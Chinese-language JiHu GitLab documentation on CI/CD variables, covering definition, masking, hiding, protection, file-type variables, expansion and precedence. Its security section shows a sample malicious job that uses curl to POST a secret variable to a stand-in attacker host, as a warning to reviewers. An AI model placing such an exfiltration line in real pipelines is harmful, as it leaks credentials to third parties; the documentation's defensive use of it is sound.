极狐 GitLab

CI/CD 变量

Tier: 基础版,专业版,旗舰版

Offering: JihuLab.com,私有化部署

CI/CD 变量是一种环境变量。您可以使用它们来:

  • 控制作业和流水线的行为。
  • 存储您想要复用的值,例如在作业脚本中。
  • 避免在.gitlab-ci.yml 文件中硬编码值。

变量名受 Runner 使用的 shell的限制, 每个 shell 都有自己的一组保留变量名。

为确保行为一致,您应始终将变量值放在单引号或双引号中。 变量在内部由 Psych YAML 解析器解析, 因此带引号和不带引号的变量可能会被以不同方式解析。例如:

  • VAR1: 012345 被解释为八进制值,因此该值变为 5349
  • VAR1: "012345" 被解析为值为 012345的字符串。
  • VAR1: 019 被解析为字符串 "019",而不是八进制值,因为 9 不是有效的 八进制数字。八进制解析仅在所有数字均为 0-7 时适用。

有关极狐GitLab CI/CD 高级用法的更多信息,请参阅 GitLab 工程师分享的 7 个极狐GitLab CI 工作流高级技巧

预定义 CI/CD 变量#

极狐GitLab CI/CD 提供了一组预定义 CI/CD 变量, 可在流水线配置和作业脚本中使用。这些变量包含有关作业、流水线的信息,以及流水线被触发或运行时您可能需要的其他值。

您可以在.gitlab-ci.yml中使用预定义 CI/CD 变量,而无需先声明它们。例如:

yaml
job1: stage: test script: - echo "The job's stage is '$CI_JOB_STAGE'"

此示例中的脚本输出 The job's stage is 'test'

.gitlab-ci.yml 文件中定义 CI/CD 变量#

要在.gitlab-ci.yml 文件中创建 CI/CD 变量,请使用 variables 关键字定义变量和值。

保存在.gitlab-ci.yml 文件中的变量对所有有权访问代码仓库的用户可见,并且只应存储非敏感的项目配置。例如,保存在 DATABASE_URL 变量中的数据库 URL。包含密钥或密码等值的敏感变量应在 UI 中添加。

您可以在以下位置定义 variables

  • 作业中:该变量仅在该作业的 scriptbefore_scriptafter_script 部分中可用,并且可用于某些作业关键字
  • .gitlab-ci.yml 文件的顶层:该变量作为流水线中所有作业的默认值可用,除非某个作业定义了同名变量。作业的变量优先。

在这两种情况下,您都不能将这些变量与全局关键字一起使用。

例如:

yaml
1variables: 2 ALL_JOBS_VAR: "A default variable" 3 4job1: 5 variables: 6 JOB1_VAR: "Job 1 variable" 7 script: 8 - echo "Variables are '$ALL_JOBS_VAR' and '$JOB1_VAR'" 9 10job2: 11 variables: 12 ALL_JOBS_VAR: "Different value than default" 13 JOB2_VAR: "Job 2 variable" 14 script: 15 - echo "Variables are '$ALL_JOBS_VAR', '$JOB2_VAR', and '$JOB1_VAR'"

在此示例中:

  • job1 输出:Variables are 'A default variable' and 'Job 1 variable'
  • job2 输出:Variables are 'Different value than default', 'Job 2 variable', and ''

使用 valuedescription 关键字为手动触发的流水线定义预填变量

在单个作业中跳过默认变量#

如果您不希望默认变量在作业中可用,请将 variables 设置为{}

yaml
1variables: 2 DEFAULT_VAR: "A default variable" 3 4job1: 5 variables: {} 6 script: 7 - echo This job does not need any variables

在 UI 中定义 CI/CD 变量#

令牌或密码等敏感变量应存储在 UI 的设置中,而不是.gitlab-ci.yml 文件中。

默认情况下,来自派生项目的流水线无法访问父项目可用的 CI/CD 变量。 如果您在父项目中为来自派生项目的合并请求运行合并请求流水线, 则所有变量对该流水线都可用。

针对项目#

您可以将 CI/CD 变量添加到项目的设置中。项目最多可以有 8000 个 CI/CD 变量。

先决条件:

  • 您必须是具有维护者角色的项目成员。

要在项目设置中添加或更新变量:

  1. 在顶部栏中,选择搜索或跳转到并找到您的项目。
  2. 在左侧边栏中,选择设置 > CI/CD
  3. 展开变量
  4. 选择添加变量并填写详细信息:
    • :必须为一行,不含空格,仅使用字母、数字或_
    • :该值限制为 10,000 个字符,但也受 Runner 操作系统中的任何限制约束。如果可见性设置为掩码掩码并隐藏,则该值有额外限制。
    • 类型Variable(默认)或 File
    • 环境范围:可选。全部(默认)*)、特定的环境或通配符环境范围。
    • 保护变量:可选。如果选中,该变量仅在受保护分支或受保护标签上运行的流水线中可用。
    • 可见性:选择可见掩码(默认)或掩码并隐藏
    • 展开变量引用:可选。如果选中,该变量可以引用另一个变量。 如果可见性设置为掩码掩码并隐藏,则无法引用另一个变量。

或者,也可以通过 API 添加项目变量。

针对群组#

您可以让 CI/CD 变量对群组中的所有项目可用。群组最多可以有 30000 个 CI/CD 变量。

先决条件:

  • 您必须是具有所有者角色的群组成员。

要添加群组变量:

  1. 在顶部栏中,选择搜索或跳转到并找到您的群组。
  2. 在左侧边栏中,选择设置 > CI/CD
  3. 展开变量
  4. 选择添加变量并填写详细信息:
    • :必须为一行,不含空格,仅使用字母、数字或_
    • :该值限制为 10,000 个字符,但也受 Runner 操作系统中的任何限制约束。如果可见性设置为掩码掩码并隐藏,则该值有额外限制。
    • 类型Variable(默认)或 File
    • 保护变量:可选。如果选中,该变量仅在受保护分支或受保护标签上运行的流水线中可用。
    • 可见性:选择可见掩码(默认)、掩码并隐藏
    • 展开变量引用:可选。如果选中,该变量可以引用另一个变量。 如果可见性设置为掩码掩码并隐藏,则无法引用另一个变量。

项目中可用的群组变量列在项目的设置 > CI/CD > 变量部分中。来自子群组的变量会被递归继承。

或者,也可以通过 API 添加群组变量。

环境范围#

Tier: 专业版,旗舰版

要将群组 CI/CD 变量设置为仅对某些环境可用:

  1. 在顶部栏中,选择搜索或跳转到并找到您的群组。
  2. 在左侧边栏中,选择设置 > CI/CD
  3. 展开变量
  4. 在变量右侧,选择编辑)。
  5. 对于环境范围,选择全部(默认)*)、特定的环境或通配符环境范围。

针对实例#

Tier: 基础版,专业版,旗舰版

Offering: 私有化部署

您可以让 CI/CD 变量对极狐GitLab 实例中的所有项目和群组可用。

先决条件:

  • 您必须具有该实例的管理员访问权限。

要添加实例变量:

  1. 在右上角,选择管理员
  2. 在左侧边栏中,选择设置 > CI/CD
  3. 展开变量
  4. 选择添加变量并填写详细信息:
    • :必须为一行,不含空格,仅使用字母、数字或_
    • :该值限制为 10,000 个字符,但也受 Runner 操作系统中的任何限制约束。如果可见性设置为可见,则没有其他限制。
    • 类型Variable(默认)或 File
    • 保护变量:可选。如果选中,该变量仅在受保护分支或标签上运行的流水线中可用。
    • 可见性:选择可见掩码(默认)或掩码并隐藏
    • 展开变量引用:可选。如果选中,该变量可以引用另一个变量。 如果可见性设置为掩码掩码并隐藏,则无法引用另一个变量。

或者,也可以通过 API 添加实例变量。

CI/CD 变量安全#

推送到.gitlab-ci.yml 文件的代码可能会危及您的变量。变量可能会意外暴露在作业日志中,或被恶意发送到第三方服务器。

在您执行以下操作之前,请审查所有对.gitlab-ci.yml 文件引入更改的合并请求:

在向导入的项目添加文件或对其运行流水线之前,请审查导入项目的.gitlab-ci.yml 文件。

以下示例展示了.gitlab-ci.yml 文件中的恶意代码:

yaml
1accidental-leak-job: 2 script: # Password exposed accidentally 3 - echo "This script logs into the DB with $USER $PASSWORD" 4 - db-login $USER $PASSWORD 5 6malicious-job: 7 script: # Secret exposed maliciously 8 - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

为了帮助降低通过类似 accidental-leak-job的脚本意外泄露密钥的风险,所有包含敏感信息的变量都应始终在作业日志中掩码。 您还可以将变量限制为仅受保护分支和标签

或者,连接外部密钥管理提供商来存储和检索密钥。

类似 malicious-job的恶意脚本必须在审查过程中被发现。审核人在发现此类代码时绝不应触发流水线,因为恶意代码可能会同时危及掩码和受保护的变量。

变量值使用 aes-256-cbc 加密 并存储在数据库中。可以使用有效的密钥文件读取和解密这些数据。

掩码 CI/CD 变量#

掩码 CI/CD 变量并不能保证防止恶意用户访问变量值。为确保敏感信息的安全, 请考虑使用外部密钥文件类型变量 来防止诸如 envprintenv 之类的命令打印密钥变量。

您可以为项目、群组或实例掩码 CI/CD 变量,以防止其值出现在作业日志中。当作业输出掩码变量的值时,该值会在作业日志中被替换为[MASKED]。在某些情况下,[MASKED]值后面还可能跟有 x 字符。

先决条件:

要掩码变量:

  1. 对于群组、项目或在管理员区域中,选择设置 > CI/CD
  2. 展开变量
  3. 在您想要保护的变量旁边,选择编辑
  4. 可见性下,选择掩码变量
  5. 推荐。清除展开变量引用复选框。 如果启用了变量展开,则变量值中唯一可以使用的非字母数字字符为:_:@-+.~=/~。 当该设置被禁用时,可以使用所有字符。
  6. 选择更新变量

该变量的值必须:

  • 为不含空格的一行。
  • 长度为 8 个字符或更长。
  • 与现有预定义或自定义 CI/CD 变量的名称不匹配。

如果进程以略有不同的方式输出该值,则该值无法被掩码。例如,如果 shell 添加\来转义特殊字符,则该值不会被掩码:

  • 掩码变量值示例:My[value]
  • 此输出不会被掩码:My\[value\]

CI_DEBUG_SERVICES 启用时,变量值可能会被泄露。有关更多信息,请参阅 服务容器日志记录

隐藏 CI/CD 变量#

除了掩码之外,您还可以防止 CI/CD 变量的值在 CI/CD 设置页面中被显示。隐藏变量只能在创建新变量时进行,您无法将现有变量更新为隐藏状态。

先决条件:

要隐藏变量,请在在 UI 中添加新的 CI/CD 变量时, 在可见性部分中选择掩码并隐藏。保存变量后,该变量可以在 CI/CD 流水线中使用,但无法再在 UI 中显示。

保护 CI/CD 变量#

您可以将项目、群组或实例 CI/CD 变量配置为仅对在受保护分支受保护标签上运行的流水线可用。

合并结果流水线和合并请求流水线可以选择性地访问受保护变量

先决条件:

要将变量设置为受保护:

  1. 对于项目或群组,转到设置 > CI/CD
  2. 展开变量
  3. 在您想要保护的变量旁边,选择编辑
  4. 选中保护变量复选框。
  5. 选择更新变量

该变量对所有后续流水线可用。

使用文件类型 CI/CD 变量#

所有预定义 CI/CD 变量以及在.gitlab-ci.yml 文件中定义的变量 都是“变量”类型(API 中的"variable_type": "env_var")。

变量类型变量:

  • 由键值对组成。
  • 在作业中作为环境变量提供,其中:
    • CI/CD 变量键作为环境变量名。
    • CI/CD 变量值作为环境变量值。

项目、群组和实例 CI/CD 变量默认是“变量”类型,但可以选择性地设置为“文件”类型(API 中的"variable_type": "file")。文件类型变量:

  • 由键、值和文件组成。
  • 在作业中作为环境变量提供,其中:
    • CI/CD 变量键作为环境变量名。
    • CI/CD 变量值保存到临时文件。
    • 临时文件的路径作为环境变量值。

对于需要文件作为输入的工具,请使用文件类型 CI/CD 变量。

例如,AWS CLI 和 kubectl 都是使用 File 类型变量进行配置的工具。如果您将 kubectl 与以下内容一起使用:

  • 键为 KUBE_URL、值为 https://example.com的变量。
  • 键为 KUBE_CA_PEM、值为证书的文件类型变量。

KUBE_URL 作为--server 选项传递(该选项接受变量),并将$KUBE_CA_PEM 作为--certificate-authority 选项传递(该选项接受文件路径):

shell
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"

.gitlab-ci.yml 变量用作文件类型变量#

您无法将.gitlab-ci.yml 文件中定义的 CI/CD 变量 设置为文件类型变量。如果您的工具需要文件路径作为输入,但您想使用在.gitlab-ci.yml中定义的变量:

  • 运行一个命令,将变量的值保存到文件中。
  • 将该文件与您的工具一起使用。

例如:

yaml
1variables: 2 SITE_URL: "https://gitlab.example.com" 3 4job: 5 script: 6 - echo "$SITE_URL" > "site-url.txt" 7 - mytool --url-file="site-url.txt"

允许 CI/CD 变量展开#

您可以将变量设置为将带有$字符的值视为对另一个变量的引用。当流水线运行时,该引用会展开为所引用变量的值。

在 UI 中定义的 CI/CD 变量默认不会展开。对于在.gitlab-ci.yml 文件中定义的 CI/CD 变量, 请使用 variables:expand 关键字控制变量展开。

先决条件:

要为变量启用变量展开:

  1. 对于项目或群组,转到设置 > CI/CD
  2. 展开变量
  3. 在您不希望展开的变量旁边,选择编辑
  4. 选中展开变量引用复选框。
  5. 选择更新变量

如果您想使用变量展开,请不要掩码变量值。 如果同时使用掩码和变量展开,字符限制会阻止使用$来引用其他变量。

CI/CD 变量优先级#

您可以在多个位置定义同名的 CI/CD 变量。当作业运行时,极狐GitLab 使用优先级最高的来源中的值。存在最高优先级的值会覆盖所有较低优先级的值。

从高到低,优先级顺序为:

  1. 流水线执行策略扫描执行策略中定义的变量。 这些变量仅适用于策略添加到流水线中的作业,而不适用于流水线中的其他作业。
  2. 手动作业变量,在您运行手动作业时设置。
  3. 流水线变量,来自:
    • 运行流水线页面
    • 流水线计划
    • 流水线 API
    • 触发器 API
    • ci.variable 推送选项
    • 上游流水线
  4. 项目变量
  5. 群组变量。如果同一变量名存在于群组及其子群组中, 作业使用最接近的子群组中的值。例如,如果您有 Group > Subgroup 1 > Subgroup 2 > Project,则在 Subgroup 2中定义的变量优先。
  6. 实例变量
  7. dependenciesneeds中列出的作业中来自 dotenv 报告的变量。
  8. .gitlab-ci.yml 文件中的变量,从高到低优先级:
    1. 作业中的 rules:variables
    2. 作业中的 variables
    3. workflow:rules:variables
    4. 文件顶层的默认 variables
  9. 部署变量
  10. 预定义变量。并非所有预定义变量都具有最低优先级。您无法覆盖 CI_ENVIRONMENT_IDCI_ENVIRONMENT_SLUGCI_ENVIRONMENT_URLCI_PAGES_URL

例如,您的项目有一个设置为 productionDEPLOY_TARGET 项目变量,以及这个 .gitlab-ci.yml 文件:

yaml
1variables: 2 DEPLOY_TARGET: "staging" 3 4deploy: 5 variables: 6 DEPLOY_TARGET: "review" 7 script: 8 - echo "Deploying to $DEPLOY_TARGET"

在此示例中:

  • deploy 作业打印 Deploying to production,因为项目变量优先于 .gitlab-ci.yml 文件中设置的两个值。
  • 如果没有项目变量,该作业会打印 Deploying to review,因为在作业中定义的变量 优先于默认变量。
  • 如果您手动运行流水线并将 DEPLOY_TARGET 设置为 canary,该作业会打印 Deploying to canary,因为流水线变量优先于项目变量。

其他详细信息:

  • 来自 secrets的值不属于此优先级顺序。 Runner 在作业运行时从外部密钥管理器检索它们。

  • 输入不是 CI/CD 变量,不参与此优先级顺序。 极狐GitLab 在创建流水线时用输入的值替换输入,因此项目、群组或 实例变量无法更改输入值。

使用流水线变量#

流水线变量是在运行新流水线时指定的变量。

极狐GitLab 17.7 及更高版本中,建议使用流水线输入而不是传递流水线变量。 为了增强安全性,您应该在使用输入时禁用流水线变量

先决条件:

  • 您必须在项目中具有开发者角色。

您可以在以下情况下指定流水线变量:

这些变量具有较高的优先级,可以覆盖在项目、群组或实例设置中或在.gitlab-ci.yml 文件中定义的同名变量。

在大多数情况下,您应该避免覆盖预定义变量,因为这可能会导致流水线出现意外行为。

限制流水线变量#

您可以限制哪些用户角色可以使用流水线变量运行流水线。当角色较低的用户尝试使用流水线变量时,他们会收到 Insufficient permissions to set pipeline variables 错误消息。

先决条件:

  • 您必须在项目中具有维护者角色。如果最低角色之前设置为 ownerno_one_allowed,则您必须在项目中具有所有者角色。

要将流水线变量的使用限制为仅维护者角色及更高角色:

  • 转到设置 > CI/CD > 变量
  • 使用流水线变量的最低角色下,选择以下之一:
    • no_one_allowed:任何流水线都不能使用流水线变量运行。 JihuLab.com 上新命名空间中新项目的默认值。 当该设置处于此值后,只有所有者角色可以更改它。
    • owner:只有具有所有者角色的用户才能使用流水线变量运行流水线。 当该设置处于此值后,只有所有者角色可以更改它。
    • maintainer:只有具有维护者或所有者角色的用户才能使用流水线变量运行流水线。 在极狐GitLab 私有化部署上未指定时的默认值。
    • developer:只有具有开发者、维护者或所有者角色的用户才能使用流水线变量运行流水线。

您也可以使用项目 API 来设置 ci_pipeline_variables_minimum_override_role 设置的角色。

此限制不影响来自项目或群组设置的 CI/CD 变量。大多数作业仍然可以在 YAML 配置中使用 variables 关键字。 使用 trigger 关键字启动多项目流水线的作业 不能使用,因为这些作业将其变量作为流水线变量传递给下游流水线。

对于这些作业:

  • 下游项目中的设置适用。极狐GitLab 检查用户在下游项目中的角色。他们在上游项目中的角色没有影响。
  • 如果他们的角色低于下游项目中设置的最低角色,则触发作业 会失败并显示 Insufficient permissions to set pipeline variables 错误,并且极狐GitLab 不会 创建下游流水线。
  • 不传递任何变量的触发作业不受限制。触发作业会继承 默认 variables,因此没有 variables 关键字的作业仍然可以传递变量。为防止这种情况,请使用 inherit:variables: false
  • 该限制也适用于使用 trigger:forward:pipeline_variables 转发的变量。 此转发默认处于禁用状态。

在同一项目中触发父子流水线 的作业不受此设置的限制。

为多个项目启用流水线变量限制#

对于包含许多项目的群组,您可以在所有不使用流水线变量的项目中禁用它们。此选项将从未使用过流水线变量的项目的使用流水线变量的最低角色设置设置为 no_one_allowed

先决条件:

  • 您必须具有该群组的所有者角色。

要在群组中的项目中启用流水线变量限制设置:

  1. 在顶部栏中,选择搜索或跳转到并找到您的群组。
  2. 在左侧边栏中,选择设置 > CI/CD
  3. 展开变量
  4. 在不使用流水线变量的项目中禁用它们部分中, 选择开始迁移

迁移在后台运行。迁移完成后,您会收到电子邮件通知。项目维护者以后可以根据需要更改其各自项目的设置。

导出变量#

在单独的 shell 上下文中执行的脚本不会共享导出、别名、局部函数定义或任何其他局部 shell 更新。

这意味着如果作业失败,用户定义脚本创建的变量不会被导出。

当 Runner 执行在.gitlab-ci.yml中定义的作业时:

  • before_script中指定的脚本和主脚本在单个 shell 上下文中一起执行,并被拼接在一起。
  • after_script中指定的脚本在与 before_script 和指定脚本完全分离的 shell 上下文中运行。

无论脚本在哪个 shell 中执行,Runner 输出都包括:

  • 预定义变量。
  • 在以下位置定义的变量:
    • 实例、群组或项目 CI/CD 设置。
    • .gitlab-ci.yml 文件的 variables:部分。
    • .gitlab-ci.yml 文件的 secrets:部分。
    • config.toml

Runner 无法处理在脚本主体中执行的手动导出、shell 别名和函数,例如 export MY_VARIABLE=1

例如,在以下.gitlab-ci.yml 文件中,定义了以下脚本:

yaml
1job: 2 variables: 3 JOB_DEFINED_VARIABLE: "job variable" 4 before_script: 5 - echo "This is the 'before_script' script" 6 - export MY_VARIABLE="variable" 7 script: 8 - echo "This is the 'script' script" 9 - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}" 10 - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}" 11 - echo "MY_VARIABLE's value is ${MY_VARIABLE}" 12 after_script: 13 - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}" 14 - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}" 15 - echo "MY_VARIABLE's value is ${MY_VARIABLE}"

当 Runner 执行作业时:

  1. 执行 before_script
    1. 打印到输出。
    2. MY_VARIABLE 定义变量。
  2. 执行 script
    1. 打印到输出。
    2. 打印 JOB_DEFINED_VARIABLE的值。
    3. 打印 CI_COMMIT_SHA的值。
    4. 打印 MY_VARIABLE的值。
  3. 在新的、单独的 shell 上下文中执行 after_script
    1. 打印到输出。
    2. 打印 JOB_DEFINED_VARIABLE的值。
    3. 打印 CI_COMMIT_SHA的值。
    4. 打印 MY_VARIABLE的空值。无法检测到该变量值,因为 after_scriptbefore_script 处于不同的 shell 上下文中。